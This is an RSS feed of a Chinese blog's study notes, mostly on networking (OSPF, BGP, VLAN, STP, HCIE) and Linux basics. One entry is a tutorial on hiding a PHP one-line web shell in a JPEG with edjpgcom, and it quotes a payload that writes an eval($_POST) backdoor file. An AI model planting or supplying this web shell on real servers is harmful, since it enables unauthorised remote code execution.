<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[weixin_43294413的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/weixin_43294413</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; weixin_43294413]]></copyright><item><title><![CDATA[HCIE（第四天总结）---iStack、 CSS 、Eth-Trunk、 M-LAG]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107371674</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107371674</guid><author>weixin_43294413</author><pubDate>Wed, 15 Jul 2020 23:05:51 +0800</pubDate><description><![CDATA[HCIE第四天总结一、iStack  设备堆叠1、定义2、为什么要使用堆叠技术？（3个优点）3、iStack 基本概念4、堆叠的步骤5、堆叠配置二、CSS 集群1、定义2、CSS特点：3、CSS与iStack的区别4、为什么要使用集群技术？（3个优点）5、CSS 基本概念6、集群系统自动建立过程7、集群配置三、Eth-Trunk 链路聚合1、定义2、链路聚合优势3、基本概念4、设备支持的链路聚合方式5、Eth-Trunk模块根据转发表转发数据帧的过程6、Eth-Trunk实现方式7、链路聚合配置四、E-Tr]]></description><category></category></item><item><title><![CDATA[HCIE（第三天总结）]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107305264</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107305264</guid><author>weixin_43294413</author><pubDate>Sun, 12 Jul 2020 21:58:26 +0800</pubDate><description><![CDATA[HCIE一、MAC地址表的组成二、端口安全三、MAC地址漂移四、免费ARP五、STP生成树协议1、STP相关概念2、端口角色：3、端口状态4、STP的选举过程：5、根桥的选举：6、指定端口的选举：
一、MAC地址表的组成

集线器-&gt;交换机：通用式计算机：接口+内存+软件+IO
软交换：通过内存的方式避免冲突
三代交换机：使用矩阵芯片

MAC表：存放于内存中
CAM表：二元计算，只看mac是否匹配

MAC地址表来源：
（1）动态表项----自学习而来
（2）静态表项----用户手工配置	


洪泛]]></description><category></category></item><item><title><![CDATA[HCIE（第二天总结）]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107299757</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107299757</guid><author>weixin_43294413</author><pubDate>Sun, 12 Jul 2020 15:22:25 +0800</pubDate><description><![CDATA[OSPF做负载均衡的思路：
（1）划区域（域内&gt;域间&gt;域外）
（2）路由策略（route-policy）
（3）明细优于汇总
注：动态路由协议的与任何网关会导致重复建立邻居（解决方法：静默热备份网关端口）
静默接口：动态路由协议的静默接口就是将被静默的接口阻止发送hello包
支撑一个SY（vlan）口，必须有access接口和trunk接口，只去了这两种接口的支撑，则流量无法传出
MPLS VPN：

基本组成：CE、PE和P


CE（Customer
Edge）：用户网络边缘设备，有接口直]]></description><category></category></item><item><title><![CDATA[三层架构实验]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107272874</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107272874</guid><author>weixin_43294413</author><pubDate>Fri, 10 Jul 2020 23:32:56 +0800</pubDate><description><![CDATA[配置思路：
channel-&gt;VLAN-&gt;Trunk-&gt;STP-&gt;SVI-&gt;Vrrp-&gt;DHCP
1、	配置sw1、sw2的channel
Sw1：
[sw1]interface Eth-Trunk 0
[sw1-Eth-Trunk0]trunkport GigabitEthernet 0/0/1
[sw1-Eth-Trunk0]trunkport GigabitEthernet 0/0/2
Sw2：
[sw2]interface Eth-Trunk 0
[sw2-Et.]]></description><category></category></item><item><title><![CDATA[HCIE(第一天总结)]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107192106</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107192106</guid><author>weixin_43294413</author><pubDate>Tue, 07 Jul 2020 22:38:12 +0800</pubDate><description><![CDATA[第一天
三层架构
分为核心层、汇聚层、接入层

核心层交换机之间的心跳线的作用：
(1)vlan间的通信
(2)当汇聚和核心的对角线线路同时故障，心跳线就很关键
(3)OSPF建邻不绕路

二层架构
二层架构是将三层架构的核心层和汇聚层合并
MSTP
（1）端口角色：备份端口（指定端口挂了，下一个成为指定端口的）、
替换端口（根端口挂了，下一个成为根端口的）
（2）端口状态：
Forwarding（转发）：在这种状态下，端口既转发用户流量又接收/发送BPDU报文
Learning（学习）：这是一种过渡状态。]]></description><category></category></item><item><title><![CDATA[edjpgcom生成一句话图片木马]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107094838</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107094838</guid><author>weixin_43294413</author><pubDate>Thu, 02 Jul 2020 22:50:02 +0800</pubDate><description><![CDATA[首先，我们从网上下载edjpgcom工具（网上的一些百度云盘会有大佬分享），然后下载一张图片（建议小一点的图片）



将图片用鼠标拖到edjpgcom.exe的程序上，会出现如下的弹窗，然后将编写的一句脚本写入,点击ok即可.


&lt;?fputs(fopen("shell1.php","w"),'&lt;?php @eval($_POST[caidao]);?&gt;')?&gt;



查看图片，用记事本打开图片，检查脚本是否写入图片中.

 

...]]></description><category></category></item><item><title><![CDATA[MIME Type表]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/107094187</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/107094187</guid><author>weixin_43294413</author><pubDate>Thu, 02 Jul 2020 22:13:02 +0800</pubDate><description><![CDATA[MIME
多用途互联网邮件扩展（MIME，MultipurposeInternet Mail Extensions）是一个互联网标准，它扩展了电子邮件标准，使其能够支持非ASCII字符、二进制格式附件等多种格式的邮件消息。
内容类型（Content-Type），是HTTP协议消息头中，用于指定消息的类型。一般出现的格式：[type]/[subtype]
text/plain（纯文本）
 
text/html（HTML文档）
 
text/javascript（js代码）
 
application/xhtm]]></description><category></category></item><item><title><![CDATA[TCP/IP协议]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106459810</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106459810</guid><author>weixin_43294413</author><pubDate>Sun, 31 May 2020 19:38:18 +0800</pubDate><description><![CDATA[一、TCP/IP 含义
从字面意义上讲，有人可能会认为 TCP/IP 是指 TCP 和 IP 两种协议。实际生活当中有时也确实就是指这两种协议。然而在很多情况下，它只是利用 IP 进行通信时所必须用到的协议群的统称。具体来说，IP 或 ICMP、TCP 或 UDP、TELNET 或 FTP、以及 HTTP 等都属于 TCP/IP 协议。他们与 TCP 或 IP 的关系紧密，是互联网必不可少的组成部分。TCP/IP 一词泛指这些协议，因此，有时也称 TCP/IP 为网际协议群。

二、数据包
包、帧、数据包、]]></description><category></category></item><item><title><![CDATA[Linux基本服务的工作原理(Web、DHCP、DNS、NFS、FTP)]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106404192</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106404192</guid><author>weixin_43294413</author><pubDate>Fri, 29 May 2020 11:43:57 +0800</pubDate><description><![CDATA[1、	系统启动过程
2、	web工作原理
3、	dhcp工作原理
4、	dns解析原理
5、	nfs的作用
6、	ftp的主动模式和被动模式
7、	pxe+kickstart安装系统原理

]]></description><category></category></item><item><title><![CDATA[Linux常用命令（包含选项参数）]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106401282</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106401282</guid><author>weixin_43294413</author><pubDate>Thu, 28 May 2020 13:31:50 +0800</pubDate><description><![CDATA[文章目录Linux常用命令1、系统维护类2、文件管理3、压缩与解压缩4、磁盘管理5、网络设置6、用户管理
Linux常用命令
1、系统维护类
ls
ls -l  以长列表方式列出   =ll
ls -r  逆序列出
ls -d  查看当前目录．
ls -ld 长列表列出当前目录的详细信息

pwd
查看”当前工作目录“的完整路径 

date
查看当前时间

passwd
-n 指定密码的最短使用期限
-x 指定密码的最长使用期限
-l 锁定用户账号密码
-u 解锁用户账号 
-d 删除用户密码，在redh]]></description><category></category></item><item><title><![CDATA[FHS---文件系统层级结构]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106398707</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106398707</guid><author>weixin_43294413</author><pubDate>Thu, 28 May 2020 10:45:02 +0800</pubDate><description><![CDATA[FHS ：文件系统层级结构


/：根目录，所有的目录、文件、设备都在/之下，/就是Linux文件系统的组织者，也是最上级的领导者。


/bin    可执行文件，binary，用户命令


/boot    系统启动相关的文件


/dev    device、设备文件因为在这个目录中包含了所有linux系统中使用的外部设备。它实际上是一个访问这些外部设备的端口。


/etc    配置文件，纯文本文件的配置文件要用到的网络配置文件，文件系统，x系统配置文件，设备配置信息，设置用户信息等都在这个目录下]]></description><category></category></item><item><title><![CDATA[RIP---路由信息协议]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106334728</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106334728</guid><author>weixin_43294413</author><pubDate>Mon, 25 May 2020 16:05:22 +0800</pubDate><description><![CDATA[一、什么是RIP协议


是一种在网关与主机之间交换路由选择信息的标准。是一种内部网关协议


RIP协议有两种：RIPv1、RIPv2


RIPv2 由 RIPv1而来，属于 RIPv1协议的补充协议，主要用于扩大 RIPv2
信息装载的有用信息的数量，同时增加其安全性能。RIPv2 是一种基于 UDP 的协议。在 RIPv2
下，每台主机通过路由选择进程发送和接受来自 UDP 端口520的数据包。RIP协议默认的路由更新周期是30S。


二、RIP的特点
  1.仅和相邻的路由器交换信息。如果两个路]]></description><category></category></item><item><title><![CDATA[路由器工作原理]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106245565</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106245565</guid><author>weixin_43294413</author><pubDate>Wed, 20 May 2020 23:10:25 +0800</pubDate><description><![CDATA[一、定义
路由器的是实现网络互连，在不同网络之间转发数据单元的重要网络设备。路由器主要工作在OSI参考模型的第三层（网络层），路由器的主要任务就是为经过路由器的每个数据帧寻找一条最佳传输路径，并将该数据有效地传送到目的站点。
二、重要机制
路由器作用在OSI模型的第三层------即网络层，提供 路由 与 转发 两种重要机制.
路由：路由器的控制层面的工作，决定数据包从来源端到目的端所经过的路由路径（host到host至今的最佳传输路径）

转发：路由器的数据层面的工作，将路由器输入端的数据包移送至适当的路]]></description><category></category></item><item><title><![CDATA[二、三层交换机工作原理]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106224166</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106224166</guid><author>weixin_43294413</author><pubDate>Tue, 19 May 2020 22:51:21 +0800</pubDate><description><![CDATA[一、二层交换机
1、基本作用
交换机工作在二层，可以用来隔离冲突域，在OSI参考模型中，二层(数据链路层)的作用是寻址，这边寻址指的是MAC地址，而交换机就是对MAC地址进行转发，在每个交换机中，都有一张MAC地址表，这个表是交换机自动学习的，所以，总得来说交换机的作用是寻址和转发。
2、基本功能

(1) 无限的传输距离
(2)提高端口密度—可以增加更多的接口
(3) 彻底解决了冲突—所有的接口可以同时收发数据
(4) 二层单播—物理寻址，在一个交换网络内，实现一对一通讯，保障了数据的安全，减少了垃圾数据]]></description><category></category></item><item><title><![CDATA[VLAN---虚拟局域网]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/106107609</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/106107609</guid><author>weixin_43294413</author><pubDate>Wed, 13 May 2020 22:20:01 +0800</pubDate><description><![CDATA[VLAN：虚拟局域网
二层交换机与3层的设备协同工作后，将原来的一个广播域逻辑的切分为多个
一、思科逻辑配置思路：
1、交换机上创建VLAN
2、接口划入VLAN
3、Trunk干道
4、VLAN间路由—路由器子接口    多层交换机svi
配置：
（1）创建vlan

Switch(config)#vlan 2
Switch(config-vlan)#name classroom1
Switch(config-vlan)#exit
Switch(config)#vlan 3-10，15-20  批量创建
]]></description><category></category></item><item><title><![CDATA[有条件的打破IBGP的水平分割]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/105786426</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/105786426</guid><author>weixin_43294413</author><pubDate>Tue, 28 Apr 2020 12:20:48 +0800</pubDate><description><![CDATA[有条件的打破IBGP的水平分割
IBGP水平分割—避免IBGP环路—从一个IBGP邻居处学习到的路由条目不能传递给本地的其他IBGP邻居；
因为BGP可以非直连建邻，故正常一台运行了BGP协议的路由器，均存在EBGP邻居，需要从其他AS学习路由条目，再共享到内部AS时，由于水平分割的现在，需要和本地AS内所有的BGP设备建立IBGP邻居关系；IBGP邻居关系的数量成指数上升；
有条件打破IBGP水...]]></description><category></category></item><item><title><![CDATA[BGP的基础配置]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/105786260</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/105786260</guid><author>weixin_43294413</author><pubDate>Mon, 27 Apr 2020 11:36:03 +0800</pubDate><description><![CDATA[一、BGP的基础配置
建立BGP邻居关系——BGP基于单播进行建邻和沟通，故需要管理员手工指定邻居的ip地址；
1、使用直连接口ip地址来建立EBGP邻居关系
[r1]bgp 1   启动时需要定义真实的AS号，没有多进程概念
[r1-bgp]router-id 1.1.1.1  建议手工配置RID，–手工—环回最大值—物理接口最大值
[r1-bgp]peer 12.1.1.2 as-number...]]></description><category></category></item><item><title><![CDATA[BGP----边界网关路由协议]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/105016595</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/105016595</guid><author>weixin_43294413</author><pubDate>Sat, 21 Mar 2020 20:38:14 +0800</pubDate><description><![CDATA[文章目录BGP:边界网关路由协议一、设计特性二、类别三、BGP特点四、BGP数据包五、BGP的工作过程六、专业名词：七、BGP的路由黑洞；八、BGP的防环机制；--水平分割
BGP:边界网关路由协议
BGP协议为不同AS间共享路由，工作时隔离两个AS的内部网络，形成一个独立的交互空间；且同时可以实施强大的策略来干涉选路；
IGP追求：收敛速度快      选择路径佳（无环）     占用资源少  ...]]></description><category></category></item><item><title><![CDATA[重发布（重分布、重分发）]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/104916140</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/104916140</guid><author>weixin_43294413</author><pubDate>Tue, 17 Mar 2020 11:16:22 +0800</pubDate><description><![CDATA[重发布（重分布、重分发）
一、概念
一台路由器同时工作在两种不同的路由协议中，或者相同协议的不同进程中；
由于算法和数据库的独立，故两种协议或进程默认不共享路由信息；
可以让该设备成为ASBR来实现路由共享，最终全网可达；
二、条件
1、	必须存在ASBR（自治系统边界路由器、协议边界路由器）
2、	必须考虑种子度量— A协议发布B协议时，由于两种协议的度量计算规则不同，故不会共享A协议的度量，而...]]></description><category></category></item><item><title><![CDATA[OSPF优化---LSA优化]]></title><link>https://blog.youkuaiyun.com/weixin_43294413/article/details/104814091</link><guid>https://blog.youkuaiyun.com/weixin_43294413/article/details/104814091</guid><author>weixin_43294413</author><pubDate>Thu, 12 Mar 2020 11:12:15 +0800</pubDate><description><![CDATA[一、OSPF的LSA优化—减少LSA更新量
思路：
1、	汇总 — 减少骨干区域的LSA数量  – 前提要求网络存在合理的地址规划
2、	特殊区域 —减少各个非骨干区域的LSA数量（非骨干区域不学其他区域的路由只学习自己本区域的路由然后一个缺省指向骨干区域
一、汇总
1、域间路由汇总——ABR将本地直连的A区域1/2类LSA计算所得路由，再通过3类LSA共享到其它本地所直连的B区域时；

[r1]...]]></description><category></category></item></channel></rss>